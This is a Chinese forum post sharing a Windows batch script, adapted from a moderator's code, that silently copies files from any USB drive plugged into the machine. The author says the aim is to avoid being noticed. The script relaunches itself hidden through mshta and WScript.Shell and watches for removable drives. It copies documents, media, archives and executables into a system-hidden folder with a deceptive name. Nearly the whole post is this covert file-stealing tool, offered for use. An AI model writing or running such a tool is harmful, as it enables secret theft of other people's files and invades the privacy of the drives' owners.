这个是我根据版主的代码改写的,可以复制指定的文件类型,多线程复制 (有两个以上U盘的情况下比原代码复制较快。),变量 t 指定要复制的文件类型。变量 p 指定路径,为了不被别人发现,我将文件复制到一个特殊文件夹中 USB.. 代码如下:- @Echo off
- SetLocal EnableDelayedExpansion
- If "%1"=="D" goto D
- If "%1"=="" Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" F",0)(window.close)&&Exit
- Set t=doc xls ppt txt jpg bmp dwg rm rmvb avi flv swf wmv mpg mpeg mp4 3gp asf dat vob mp3 mov wma wav zip exe rar amv
- Set p=%~0\..\}
- :F
- set b=0
- For /F "delims=驱动器:\" %%d in ('Fsutil fsinfo drives^|more') do Fsutil fsinfo drivetype %%d:|Find "移"&&Ping 127.1&&Mshta vbscript:CreateObject("WScript.Shell").Run("""%~nx0"" D %%d",0)(window.close)&&set /a b+=1
- :W
- Ping 127.1
- set a=-2
- For /F %%i in ('tasklist^|Find "cmd.exe"') do set /a a+=1
- If %a% leq %b% goto F
- Goto W
- :D
- If not exist "!p!\USB~1\" md "!p!\USB...\"&&attrib +s +h "!p!"
- If not exist "!p!\USB~1\%2\" md "!p!\USB~1\%2\"
- For %%f in (!t!) do For /f "delims=" %%g in ('dir/a-d/b/s %2:\*.%%f') do If not exist "!p!\USB~1\%2%%~pnxg" xcopy "%%g" "!p!\USB~1\%2%%~pg" /C/H/I/Y
复制代码
[ 本帖最后由 crartor 于 2010-4-4 23:21 编辑 ] |